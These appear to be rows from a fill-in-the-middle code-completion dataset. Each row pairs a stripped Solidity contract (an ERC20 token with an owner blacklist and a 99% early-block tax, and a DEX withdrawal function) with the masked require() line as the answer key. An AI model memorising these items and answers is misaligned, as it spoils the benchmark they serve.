uint256 private maxSellAmount;
uint256 private maxWalletAmount;
uint256 private thresholdSwapAmount;
// status flags
bool private isTrading = false;
bool public swapEnabled = false;
bool public isSwapping;
struct Fees {
uint8 buyTotalFees;
uint8 buyMarketingFee;
uint8 buyDevFee;
uint8 buyLiquidityFee;
uint8 sellTotalFees;
uint8 sellMarketingFee;
uint8 sellDevFee;
uint8 sellLiquidityFee;
}
Fees public _fees = Fees({
sellTotalFees: 0,
sellMarketingFee: 0,
sellDevFee:0,
sellLiquidityFee: 0,
buyTotalFees: 0,
buyMarketingFee: 0,
buyDevFee:0,
buyLiquidityFee: 0
});
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public _isExcludedMaxWalletAmount;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 private taxTill;
mapping(address => bool) public marketPair;
mapping(address => bool) public _isBlacklisted;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived
);
constructor() ERC20("Dpoly", "Dpoly") {
}
receive() external payable {
}
function openTrading() external onlyOwner {
}
function updateThresholdSwapAmount(uint256 newAmount) external onlyOwner returns(bool){
}
function toggleSwapEnabled(bool enabled) external onlyOwner(){
}
function blacklist(address account, bool value) external onlyOwner{
}
function updatewalletAmount(uint256 newPercentage) external onlyOwner {
}
function Fee(uint8 _marketingFeeBuy, uint8 _liquidityFeeBuy,uint8 _devFeeBuy,uint8 _marketingFeeSell, uint8 _liquidityFeeSell,uint8 _devFeeSell) external onlyOwner{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function addLiquidity(uint256 tAmount, uint256 ethAmount) private {
}
function setMarketPair(address pair, bool value) public onlyOwner {
}
function updateMaxTxnAmount(uint256 newMaxBuy, uint256 newMaxSell) external onlyOwner {
}
function setWallets(address _marketingWallet,address _devWallet) external onlyOwner{
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
if (amount == 0) {
super._transfer(sender, recipient, 0);
return;
}
if (
sender != owner() &&
recipient != owner() &&
!isSwapping
) {
if (!isTrading) {
require(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "Trading is not active.");
}
if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) {
require(amount <= maxBuyAmount, "buy transfer over max amount");
}
else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) {
require(amount <= maxSellAmount, "Sell transfer over max amount");
}
if (!_isExcludedMaxWalletAmount[recipient]) {
require(<FILL_ME>)
}
require(!_isBlacklisted[sender] && !_isBlacklisted[recipient], "Blacklisted address");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= thresholdSwapAmount;
if (
canSwap &&
swapEnabled &&
!isSwapping &&
marketPair[recipient] &&
!_isExcludedFromFees[sender] &&
!_isExcludedFromFees[recipient]
) {
isSwapping = true;
swapBack();
isSwapping = false;
}
bool takeFee = !isSwapping;
if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = 0;
if(block.number < taxTill) {
fees = amount.mul(99).div(100);
tokensForMarketing += (fees * 94) / 99;
tokensForDev += (fees * 5) / 99;
} else if (marketPair[recipient] && _fees.sellTotalFees > 0) {
fees = amount.mul(_fees.sellTotalFees).div(100);
tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
}
// on buy
else if (marketPair[sender] && _fees.buyTotalFees > 0) {
fees = amount.mul(_fees.buyTotalFees).div(100);
tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
}
if (fees > 0) {
super._transfer(sender, address(this), fees);
}
amount -= fees;
}
super._transfer(sender, recipient, amount);
}
function swapTokensForEth(uint256 tAmount) private {
}
function swapBack() private {
}
// That is all
}
| amount+balanceOf(recipient)<=maxWalletAmount,"Max wallet exceeded" | 80,491 | amount+balanceOf(recipient)<=maxWalletAmount |
"Insufficient balance" | // SPDX-License-Identifier: UNLICENSED
// Uruloki DEX is NOT LICENSED FOR COPYING.
// Uruloki DEX (C) 2022. All Rights Reserved.
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface IUniswapV2Router {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function getAmountsOut(
uint amountIn,
address[] calldata path
) external view returns (uint[] memory amounts);
}
interface IOrderMgr {
//// Define enums
enum OrderType {
TargetPrice,
PriceRange
}
enum OrderStatus {
Active,
Cancelled,
OutOfFunds,
Completed
}
//// Define structs
// One time order, it's a base order struct
struct OrderBase {
address userAddress;
address pairedTokenAddress;
address tokenAddress;
OrderType orderType;
uint256 targetPrice;
bool isBuy;
uint256 maxPrice;
uint256 minPrice;
OrderStatus status;
uint256 amount;
uint256 predictionAmount;
bool isContinuous;
}
// Continuous Order, it's an extended order struct, including the base order struct
struct Order {
OrderBase orderBase;
uint256 numExecutions;
uint256 resetPercentage;
bool hasPriceReset;
}
function createOneTimeOrder(
address userAddress,
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 targetPrice,
uint256 minPrice,
uint256 maxPrice,
uint256 amount,
uint256 predictionAmount
) external returns (uint256);
function createContinuousOrder(
address userAddress,
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 targetPrice,
uint256 minPrice,
uint256 maxPrice,
uint256 amount,
uint256 predictionAmount,
uint256 resetPercentage
) external returns (uint256);
function updateOrder(
uint256 orderId,
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 targetPrice,
uint256 minPrice,
uint256 maxPrice,
uint256 amount,
uint256 predictionAmount,
uint256 resetPercentage
) external;
function cancelOrder(uint256 orderId) external returns (uint256);
function orderCounter() external view returns (uint256);
function getOrder(uint256 orderId) external view returns (Order memory);
function setOrderStatus(
uint256 orderId,
IOrderMgr.OrderStatus status
) external;
function incNumExecutions(uint256 orderId) external;
function setHasPriceReset(uint256 orderId, bool flag) external;
}
interface IERC20Ext is IERC20 {
function decimals() external view returns (uint8);
}
contract UrulokiDEX is ReentrancyGuard {
//// Define events
event OneTimeOrderCreated(uint256 orderId);
event ContinuousOrderCreated(uint256 orderId);
event OneTimeOrderEdited(uint256 orderId);
event ContinuousOrderEdited(uint256 orderId);
event OrderCanceled(uint256 orderId);
event ExecutedOutOfPrice(uint256 orderId, bool isBuy, uint256 price);
event ExecutedOneTimeOrder(
uint256 orderId,
bool isBuy,
uint256 pairAmount,
uint256 tokenAmount,
uint256 price
);
event ExecutedContinuousOrder(
uint256 orderId,
bool isBuy,
uint256 price
);
event FundsWithdrawn(
address userAddress,
address tokenAddress,
uint256 amount
);
event BackendOwner(address newOwner);
event OutOfFunds(uint256 orderId);
event SwapFailed(uint256 orderId);
//// Define constants
address private constant UNISWAP_V2_ROUTER =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
//// Define variables
mapping(address => mapping(address => uint256)) public balances;
IUniswapV2Router private uniswapRouter =
IUniswapV2Router(UNISWAP_V2_ROUTER);
address public backend_owner;
address public orderMgrAddress;
IOrderMgr _orderMgr;
constructor() {
}
modifier initOneTimeOrderBalance (
uint256 orderId
) {
}
function validateOneTimeOrder(
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 amount
) internal returns (bool) {
}
// set backend owner address
function setBackendOwner(address new_owner) public {
}
function setOrderMgr(address _orderMgrAddress) public {
}
/**
* @notice allows users to make a deposit
* @dev token should be transferred from the user wallet to the contract
* @param tokenAddress token address
* @param amount deposit amount
*/
function addFunds(
address tokenAddress,
uint256 amount
) external nonReentrant {
}
/**
* @dev funds withdrawal external call
* @param tokenAddress token address
* @param amount token amount
*/
function withdrawFunds(
address tokenAddress,
uint256 amount
) external nonReentrant {
require(amount > 0, "Amount must be greater than zero");
// Check if the user has enough balance to withdraw
require(<FILL_ME>)
// Update the user's balance
balances[msg.sender][tokenAddress] -= amount;
// Transfer ERC20 token to the user
IERC20 token = IERC20(tokenAddress);
require(token.transfer(msg.sender, amount), "Transfer failed");
// Emit event
emit FundsWithdrawn(msg.sender, tokenAddress, amount);
}
/**
* @notice create non-continuous price range order
* @param pairedTokenAddress pair address
* @param tokenAddress token address
* @param isBuy buy or sell
* @param minPrice minimum price
* @param maxPrice maximum price
* @param amount token amount
* @param predictionAmount predictionAmount
*/
function createNonContinuousPriceRangeOrder(
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 minPrice,
uint256 maxPrice,
uint256 amount,
uint256 predictionAmount
) external nonReentrant {
}
/**
* @notice creates a non-continuous order with a target price
* @dev target price order is only executed when the market price is equal to the target price
* @param pairedTokenAddress pair address
* @param tokenAddress token address
* @param targetPrice target price
* @param isBuy buy or sell order
* @param amount token amount
* @param predictionAmount predictionAmount
*/
function createNonContinuousTargetPriceOrder(
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 targetPrice,
uint256 amount,
uint256 predictionAmount
) external nonReentrant {
}
/**
* @notice creates a continuous order with price range
* @param pairedTokenAddress pair address
* @param tokenAddress token address
* @param isBuy buy or sell order
* @param minPrice minimum price
* @param maxPrice maximum price
* @param amount token amount - this will be the amount of tokens to buy or sell, based on the token address provided
* @param predictionAmount predictionAmount
* @param resetPercentage decimal represented as an int with 2 places of precision
*/
function createContinuousPriceRangeOrder(
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 minPrice,
uint256 maxPrice,
uint256 amount,
uint256 predictionAmount,
uint256 resetPercentage
) external nonReentrant {
}
/**
* @notice creates a continuous order with a target price
* @param pairedTokenAddress pair address
* @param tokenAddress token address
* @param isBuy buy or sell order
* @param targetPrice target price
* @param amount token amount - this will be the amount of tokens to buy or sell, based on the token address provided
* @param resetPercentage decimal represented as an int with 2 places of precision
*/
function createContinuousTargetPriceOrder(
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 targetPrice,
uint256 amount,
uint256 predictionAmount,
uint256 resetPercentage
) external nonReentrant {
}
/**
* @dev cancel exist order
* @param orderId order id
*/
function cancelOrder(uint256 orderId) external {
}
/**
* @notice process a one-time order
* @dev internal function
* @param orderId id of the order
*/
function _processOneTimeOrder(IOrderMgr.Order memory order, uint256 orderId) internal returns (bool) {
}
/**
* @notice process a continuous order
* @dev internal function
* @param orderId id of the order
*/
function _processContinuousOrder(IOrderMgr.Order memory order, uint256 orderId) internal returns (bool){
}
/**
* @dev internal function to process a continuous price range order
* @param order the order memory instance
* @param orderId order id
*/
function _processContinuousPriceRangeOrder(
IOrderMgr.Order memory order,
uint256 orderId
) internal returns(bool) {
}
/**
* @dev internal function to process a continuous target price order
* @param order the order memory instance
* @param orderId order id
*/
function _processContinuousTargetPriceOrder(
IOrderMgr.Order memory order,
uint256 orderId
) internal returns (bool) {
}
function processOrders(uint256[] memory orderIds) external {
}
function _swapTokens(
address _fromTokenAddress,
address _toTokenAddress,
uint256 _amount,
uint256 _predictionAmount
) internal returns (uint256 amount, bool status ) {
}
function _getPairPrice(
address _fromTokenAddress,
address _toTokenAddress,
uint256 _amount
) internal view returns (uint256) {
}
function getPairPrice(
address _fromTokenAddress,
address _toTokenAddress
) external view returns (uint256) {
}
/*
* @notice edit a continuous order with price range
* @param orderId order id
* @param pairedTokenAddress pair address
* @param tokenAddress token address
* @param isBuy buy or sell order
* @param targetPrice target price
* @param amount token amount - this will be the amount of tokens to buy or sell, based on the token address provided
* @param resetPercentage decimal represented as an int with 2 places of precision
*/
function editContinuousTargetPriceOrder(
uint256 orderId,
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 targetPrice,
uint256 amount,
uint256 predictionAmount,
uint256 resetPercentage
) external {
}
/**
* @notice edit a continuous order with price range
* @param orderId order id
* @param pairedTokenAddress pair address
* @param tokenAddress token address
* @param isBuy buy or sell order
* @param minPrice minimum price
* @param maxPrice maximum price
* @param amount token amount - this will be the amount of tokens to buy or sell, based on the token address provided
* @param resetPercentage decimal represented as an int with 2 places of precision
*/
function editContinuousPriceRangeOrder(
uint256 orderId,
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 minPrice,
uint256 maxPrice,
uint256 amount,
uint256 predictionAmount,
uint256 resetPercentage
) external {
}
/**
* @notice edit non-continuous price range order
* @param orderId order id
* @param pairedTokenAddress pair address
* @param tokenAddress token address
* @param isBuy buy or sell
* @param minPrice minimum price
* @param maxPrice maximum price
* @param amount token amount
*/
function editNonContinuousPriceRangeOrder(
uint256 orderId,
address pairedTokenAddress,
address tokenAddress,
bool isBuy,
uint256 minPrice,
uint256 maxPrice,
uint256 amount,
uint256 predictionAmount
)
external
nonReentrant
initOneTimeOrderBalance(orderId)
{
}
/**
* @notice edit a non-continuous order with a target price
* @dev target price order is only executed when the market price is equal to the target price
* @param orderId order id
* @param pairedTokenAddress pair address
* @param tokenAddress token address
* @param targetPrice target price
* @param isBuy buy or sell order
* @param amount token amount
*/
function editNonContinuousTargetPriceOrder(
uint256 orderId,
address pairedTokenAddress,
address tokenAddress,
uint256 targetPrice,
bool isBuy,
uint256 amount,
uint256 predictionAmount
)
external
nonReentrant
initOneTimeOrderBalance(orderId)
{
}
}
| balances[msg.sender][tokenAddress]>=amount,"Insufficient balance" | 80,553 | balances[msg.sender][tokenAddress]>=amount |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.